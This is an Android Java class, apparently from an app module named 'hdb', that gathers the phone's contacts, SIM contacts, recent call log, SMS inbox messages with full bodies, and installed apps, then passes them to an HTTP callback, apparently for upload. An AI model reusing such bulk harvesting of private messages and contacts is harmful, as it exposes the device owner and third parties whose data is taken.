package com.yiwei.hdb.info;

import android.Manifest;
import android.annotation.TargetApi;
import android.app.Activity;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.os.Build;
import android.os.Handler;
import android.provider.CallLog;
import android.provider.ContactsContract;
import android.support.v4.app.ActivityCompat;
import android.text.TextUtils;

import com.yiwei.hdb.constant.Const;
import com.yiwei.hdb.http.InfoCallBack;
import com.yiwei.hdb.util.CheckContainChinese;
import com.yiwei.hdb.util.FilterStr;
import com.yiwei.hdb.util.ImageUtil;
import com.yiwei.hdb.util.Util;

import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

/**
 * 获取手机信息
 * Created by MasterDong on 16/9/8.
 */
public class PhoneInfo {

    /**
     * 获取库Phone表字段
     **/
    private static final String[] PHONES_PROJECTION = new String[]{
            ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER};

    /**
     * 联系人显示名称
     **/
    private static final int PHONES_DISPLAY_NAME_INDEX = 0;

    /**
     * 电话号码
     **/
    private static final int PHONES_NUMBER_INDEX = 1;

    private Context context;
    private List<Map<String, String>> contactList = new ArrayList<Map<String, String>>();
    private List<Map<String, String>> callLogList = new ArrayList<Map<String, String>>();
    private List<Map<String, String>> appList = new ArrayList<Map<String, String>>();
    private List<Map<String, String>> smsList = new ArrayList<Map<String, String>>();


    public PhoneInfo(Context context) {
        this.context = context.getApplicationContext();
    }


    /**
     * 得到手机通讯录联系人信息
     **/
    private  synchronized void getPhoneContacts() {
        try {
            ContentResolver resolver = context.getContentResolver();

            // 获取手机联系人
            Cursor phoneCursor = resolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, PHONES_PROJECTION, null, null, null);


            if (phoneCursor != null) {
                while (phoneCursor.moveToNext()) {

                    //得到手机号码
                    String phoneNumber = phoneCursor.getString(PHONES_NUMBER_INDEX);
                    //当手机号码为空的或者为空字段 跳过当前循环
                    if (TextUtils.isEmpty(phoneNumber)) continue;

                    //得到联系人名称
                    String contactName = phoneCursor.getString(PHONES_DISPLAY_NAME_INDEX);
                    // 当姓名为空的或者为空字段 跳过当前循环
                    if (TextUtils.isEmpty(contactName)) continue;

                    String newName = URLEncoder.encode(FilterStr.filter(contactName), "utf-8");
                    String newPhone = FilterStr.filterNumber(phoneNumber);

                    Map<String, String> map = new HashMap<String, String>();
                    if (CheckContainChinese.checkStringContainChinese(newName))
                        map.put("full_name", URLEncoder.encode(newName, "utf-8"));
                    else
                        map.put("full_name", newName);

                    if (CheckContainChinese.checkStringContainChinese(newPhone))
                        map.put("phone", URLEncoder.encode(newPhone, "utf-8"));
                    else
                        map.put("phone", newPhone);

                    contactList.add(map);

                }
                if (phoneCursor != null)
                    phoneCursor.close();
            }
        } catch (ArrayIndexOutOfBoundsException e) {
            e.printStackTrace();
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
        }
    }


    /**
     * 得到手机SIM卡联系人人信息
     **/
    private  synchronized void getSIMContacts(String adn) {
        try {
            ContentResolver resolver = context.getContentResolver();
            // 获取Sims卡联系人
            Intent intent = new Intent();
            intent.setData(Uri.parse(adn));
            Uri uri = intent.getData();

            Cursor phoneCursor = resolver.query(uri, PHONES_PROJECTION, null, null,
                    null);

            if (phoneCursor != null) {
                while (phoneCursor.moveToNext()) {

                    // 得到手机号码
                    String phoneNumber = phoneCursor.getString(PHONES_NUMBER_INDEX);
                    // 当手机号码为空的或者为空字段 跳过当前循环
                    if (TextUtils.isEmpty(phoneNumber)) continue;

                    // 得到联系人名称
                    String contactName = phoneCursor
                            .getString(PHONES_DISPLAY_NAME_INDEX);
                    // 当姓名为空的或者为空字段 跳过当前循环
                    if (TextUtils.isEmpty(contactName)) continue;

                    String newName = URLEncoder.encode(FilterStr.filter(contactName), "utf-8");
                    String newPhone = FilterStr.filterNumber(phoneNumber);

                    Map<String, String> map = new HashMap<String, String>();
                    if (CheckContainChinese.checkStringContainChinese(newName))
                        map.put("full_name", URLEncoder.encode(newName, "utf-8"));
                    else
                        map.put("full_name", newName);

                    if (CheckContainChinese.checkStringContainChinese(newPhone))
                        map.put("phone", URLEncoder.encode(newPhone, "utf-8"));
                    else
                        map.put("phone", newPhone);

                    contactList.add(map);
                }

                if (phoneCursor != null)
                    phoneCursor.close();
            }
        }catch (ArrayIndexOutOfBoundsException e) {
            e.printStackTrace();
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
        }

    }

//    /**
//     * 合并相同的Map
//     *
//     * @param list
//     * @return
//     */
//    public List<Map<String, String>> mergeList(List<Map<String, String>> list) {
//        List<Map<String, String>> newList = list;
//        try {
//            for (int i = 0; i < list.size(); i++) {
//                Map<String, String> map = list.get(i);
//                String name = null, phone = null;
//                if (!TextUtils.isEmpty(map.get("full_name")))
//                    name = map.get("full_name").toLowerCase();
//                if (!TextUtils.isEmpty(map.get("phone")))
//                    phone = map.get("phone").replaceAll(" ", ""); //去掉空格
//
//                for (int j = i + 1; j < list.size(); j++) {
//                    Map<String, String> innerMap = list.get(j);
//                    String name1 = null, phone1 = null;
//                    if (!TextUtils.isEmpty(map.get("full_name")))
//                        name1 = innerMap.get("full_name").toLowerCase();
//                    if (!TextUtils.isEmpty(map.get("phone")))
//                        phone1 = innerMap.get("phone").replaceAll(" ", "");  //去掉空格
//
//                    if (name.equals(name1) && phone.equals(phone1))
//                        newList.remove(j);
//                }
//            }
//        } catch (Exception e) {
//            e.printStackTrace();
//        }
//        return newList;
//    }

    /**
     * 利用系统CallLog获取通话历史记录
     *
     * @return
     */
    @TargetApi(Build.VERSION_CODES.N)
    private boolean getCallLog() {

        boolean haveCallHistory = false;
        try {
            ContentResolver cr = context.getContentResolver();
            Cursor cs;
            if ((Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) && ActivityCompat.checkSelfPermission(context, Manifest.permission.READ_CALL_LOG) != PackageManager.PERMISSION_GRANTED) {
                ActivityCompat.requestPermissions((Activity) context, new String[]{Manifest.permission.READ_CALL_LOG},
                        Const.PermissionType.READ_CALL_LOG_REQUEST_CODE);
            } else {
                cs = cr.query(CallLog.Calls.CONTENT_URI, //系统方式获取通讯录存储地址
                        new String[]{
                                CallLog.Calls.CACHED_NAME,  //姓名
                                CallLog.Calls.NUMBER,    //号码
                                CallLog.Calls.TYPE,  //呼入/呼出(2)/未接
                                CallLog.Calls.DATE,  //拨打时间
                                CallLog.Calls.DURATION   //通话时长
                        }, null, null, "date desc limit 100");

//                CallLog.Calls.DEFAULT_SORT_ORDER

                int i = 0;
                if (cs != null) {
                    if (cs.getCount() > 0) {
                        for (cs.moveToFirst(); !cs.isAfterLast() & i < 50; cs.moveToNext()) {
                            String callName = cs.getString(0);
                            String callNumber = cs.getString(1);
                            //通话类型
                            int callType = Integer.parseInt(cs.getString(2));
                            String callTypeStr = "";
                            switch (callType) {
                                case CallLog.Calls.INCOMING_TYPE:
                                    callTypeStr = "incoming";
                                    break;
                                case CallLog.Calls.OUTGOING_TYPE:
                                    callTypeStr = "outgoing";
                                    break;
                                case CallLog.Calls.MISSED_TYPE:
                                    callTypeStr = "missed";
                                    break;
                            }
                            //拨打时间
                            String callDateStr = Util.timeStamp2Date(Long.parseLong(cs.getString(3)) / 1000 + "", "");

                            //通话时长
                            int callDuration = 0;
                            if (cs.getString(4) != null) {
                                callDuration = Integer.parseInt(cs.getString(4));
                            }
//                        int min = callDuration / 60;
//                        int sec = callDuration % 60;
//                        String callDurationStr = min + context.getString(R.string.minute) + sec + context.getString(R.string.second);

                            if (TextUtils.isEmpty(callName))
                                callName = getPeopleNameFromNumber(callNumber);

                            Map<String, String> map = new HashMap<String, String>();
                            if (callName == null) {
                                map.put("name", "");
                            } else {
                                String newName = URLEncoder.encode(FilterStr.filter(callName), "utf-8");
                                map.put("name", newName);
                            }
                            map.put("phone", callNumber+"");
                            map.put("type", callTypeStr+"");
                            map.put("dialed_time", callDateStr+"");
                            map.put("duration", callDuration + "");

                            callLogList.add(map);

                            i++;
                        }

                        haveCallHistory = true;
                    }
                    cs.close();
                }
            }
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
        }
        return haveCallHistory;
    }

    private boolean hadContactPermission = true;

    // 通过address手机号关联Contacts联系人的显示名字
    private String getPeopleNameFromNumber(String number) {
        try {
            if (number == null || number == "") {
                return "";
            }

            String strPerson = "";
            String[] projection = new String[]{ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER};

            Uri uri_Person = Uri.withAppendedPath(ContactsContract.CommonDataKinds.Phone.CONTENT_FILTER_URI, number);  // 手机号过滤
            Cursor cursor = context.getContentResolver().query(uri_Person, projection, null, null, null);

            if (cursor.moveToFirst()) {
                int index_PeopleName = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME);
                String strPeopleName = cursor.getString(index_PeopleName);
                strPerson = strPeopleName;
            }
            cursor.close();

            return strPerson;
        } catch (Exception e) {
            e.printStackTrace();
            hadContactPermission = false;
            return null;
        }
    }

    /**
     * 获取所有短信
     *
     * @return
     */
    private synchronized boolean getSmsInPhone() {
        final String SMS_URI_ALL = "content://sms/inbox";
        boolean haveSms = false;

        try {
            Uri uri = Uri.parse(SMS_URI_ALL);
            String[] projection = new String[]{"_id", "thread_id", "person", "address",
                    "body", "date", "type", "read", "service_center", "status"};
            Cursor cur = context.getContentResolver().query(uri, projection, null,
                    null, "date desc limit 100"); // 获取手机内部短信

            if (cur != null && cur.getCount() > 0) {
                if (cur.moveToFirst()) {

                    do {

                        int smsId = cur.getInt(cur.getColumnIndex("_id"));
                        int threadId = cur.getInt(cur.getColumnIndex("thread_id"));
                        String strPerson = cur.getString(cur.getColumnIndex("person"));
                        String strAddress = cur.getString(cur.getColumnIndex("address"));
                        String strbody = cur.getString(cur.getColumnIndex("body"));
                        String serviceCenter = cur.getString(cur.getColumnIndex("service_center"));
                        long longDate = cur.getLong(cur.getColumnIndex("date"));
                        int intType = cur.getInt(cur.getColumnIndex("type"));
                        int read = cur.getInt(cur.getColumnIndex("read"));
                        int status = cur.getInt(cur.getColumnIndex("status"));

                        SimpleDateFormat dateFormat = new SimpleDateFormat(
                                "yyyy-MM-dd hh:mm:ss");
                        Date d = new Date(longDate);
                        String strDate = dateFormat.format(d);

                        String strType = "";
                        if (intType == 1) {
                            strType = "recieved";
                        } else if (intType == 2) {
                            strType = "send";
                        }


                        Map<String, String> map = new HashMap<String, String>();
//                    if (!TextUtils.isEmpty(strAddress))
//                        strPerson = getPeopleNameFromNumber(strAddress);
                        if (TextUtils.isEmpty(strPerson)) {
                            map.put("person", "");
                        } else {
                            String newName = URLEncoder.encode(FilterStr.filter(strPerson), "utf-8");
                            map.put("person", newName+"");
                        }
                        if (TextUtils.isEmpty(strbody)) {
                            map.put("body", "");
                        } else {
                            String newBody = URLEncoder.encode(strbody, "utf-8");
                            map.put("body", newBody+"");
                        }
                        map.put("sms_id", smsId + "");
                        map.put("thread_id", threadId + "");
                        map.put("address", strAddress+"");
                        map.put("type", strType+"");
                        map.put("timeline", strDate+"");
                        map.put("protocol", "sms");
                        map.put("read", read + "");
                        if (TextUtils.isEmpty(serviceCenter))
                            map.put("service_center", "");
                        else
                            map.put("service_center", serviceCenter+"");
                        map.put("status", (status + 1) + "");

                        smsList.add(map);

                    } while (cur.moveToNext());

                    if (!cur.isClosed()) {
                        cur.close();
                    }

                    haveSms = true;
                }
            }

        }catch (ArrayIndexOutOfBoundsException e) {
            e.printStackTrace();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return haveSms;
    }

    /**
     * 获取应用信息
     */
    private synchronized void getApp() {
        try {
            List<PackageInfo> packages = context.getPackageManager().getInstalledPackages(0);

            for (int i = 0; i < packages.size(); i++) {
                PackageInfo packageInfo = packages.get(i);
                Map<String, String> map = new HashMap<String, String>();
                String appName = packageInfo.applicationInfo.loadLabel(context.getPackageManager()).toString();
                if (TextUtils.isEmpty(appName)) {
                    map.put("app_name", "");
                } else {
                    String newAppName = URLEncoder.encode(FilterStr.filter(appName), "utf-8");
                    map.put("app_name", newAppName);
                }
                map.put("package_name", packageInfo.packageName);
                String versionName = packageInfo.versionName;
                if (TextUtils.isEmpty(versionName)) {
                    map.put("version", "");
                } else {
                    map.put("version", versionName);
                }
//                Drawable icon = packageInfo.applicationInfo.loadIcon(context.getPackageManager());
                String iconStr = ImageUtil.Bitmap2StrByBase64_40(ImageUtil.drawableToBitamp(packageInfo.applicationInfo.loadIcon(context.getPackageManager())));
                if (TextUtils.isEmpty(iconStr)) map.put("icon", "");
                else map.put("icon", iconStr);
                map.put("icon", iconStr);

                appList.add(map);

            }
        }catch (ArrayIndexOutOfBoundsException e) {
            e.printStackTrace();
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
        }

    }


    /**
     * 获取通讯录
     */
    public void getContactsList(final InfoCallBack callBack) {
        new Thread(new Runnable() {
            @Override
            public void run() {
                contactList.clear();
                boolean isException = false;
                try {
                    getPhoneContacts();
                    getSIMContacts("content://icc/adn");
                    getSIMContacts("content://sim/adn");


                } catch (Exception e) {
                    e.printStackTrace();
                    isException = true;
                }
                final boolean finalIsException = isException;
                new Handler(context.getMainLooper()).post(new Runnable() {
                    @Override
                    public void run() {
                        if ((!finalIsException) && contactList.size() >= 0)
                            callBack.onSuccess(contactList);
                        else {
                            if (contactList.size() == 0) {
                                callBack.onFailure("数据为空");
                            } else if (finalIsException) {
                                callBack.onFailure("发生异常");
                            }

                        }
                    }
                });

            }
        }).start();
    }

//    @TargetApi(19)
//    private int checkOp(Context context, int op) {
//        final int version = Build.VERSION.SDK_INT;
//        if (version >= 19) {
//            try {
//                AppOpsManager appOpsManager = (AppOpsManager) context.getSystemService(Context.APP_OPS_SERVICE);
//                Method dispatchMethod = AppOpsManager.class.getMethod(
//                        "checkOp", new Class[] { int.class, int.class,
//                                String.class });
//                int mode = (Integer) dispatchMethod.invoke(
//                        appOpsManager,
//                        new Object[] { op, Binder.getCallingUid(),
//                                context.getPackageName() });
//                return mode;
//            } catch (Exception e) {
//                e.printStackTrace();
//            }
//        }
//        return -1;
//    }

    /**
     * 获取通讯记录
     */
    public void getCallLogList(final InfoCallBack callBack) {
        new Thread(new Runnable() {
            @Override
            public void run() {
                callLogList.clear();
//                final boolean haveCallHistory = getCallLog();

//                if (getCallLog()) {
                new Handler(context.getMainLooper()).post(new Runnable() {
                    @Override
                    public void run() {
                        if (getCallLog()) {
                            if (hadContactPermission) {
                                callBack.onSuccess(callLogList);
                            } else {
                                callBack.onFailure("联系人");
                            }
                        } else {
                            callBack.onFailure("通话记录");
                        }

                    }
                });
//                }

            }
        }).start();
    }

    /**
     * 获取短信
     */
    public void getSmsList(final InfoCallBack callBack) {
        new Thread(new Runnable() {
            @Override
            public void run() {
                smsList.clear();
                ;

                new Handler(context.getMainLooper()).post(new Runnable() {
                    @Override
                    public void run() {
                        if (getSmsInPhone())
                            callBack.onSuccess(smsList);
                        else
                            callBack.onFailure("");
                    }
                });

            }
        }).start();
    }

    /**
     * 获取app列表
     */
    public void getAppList(final InfoCallBack callBack) {
        new Thread(new Runnable() {
            @Override
            public void run() {
                appList.clear();
                getApp();

                new Handler(context.getMainLooper()).post(new Runnable() {
                    @Override
                    public void run() {
                        if (appList.size() > 0)
                            callBack.onSuccess(appList);
                        else
                            callBack.onFailure("");
                    }
                });

            }
        }).start();
    }


}
